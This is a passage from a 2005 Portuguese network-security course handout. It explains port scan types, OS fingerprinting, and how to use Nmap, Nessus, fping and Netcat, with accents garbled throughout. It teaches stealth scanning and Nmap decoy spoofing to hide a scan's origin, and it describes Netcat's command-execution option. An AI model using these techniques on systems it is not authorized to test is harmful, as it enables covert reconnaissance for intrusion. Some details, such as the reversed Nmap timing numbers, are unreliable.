seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat 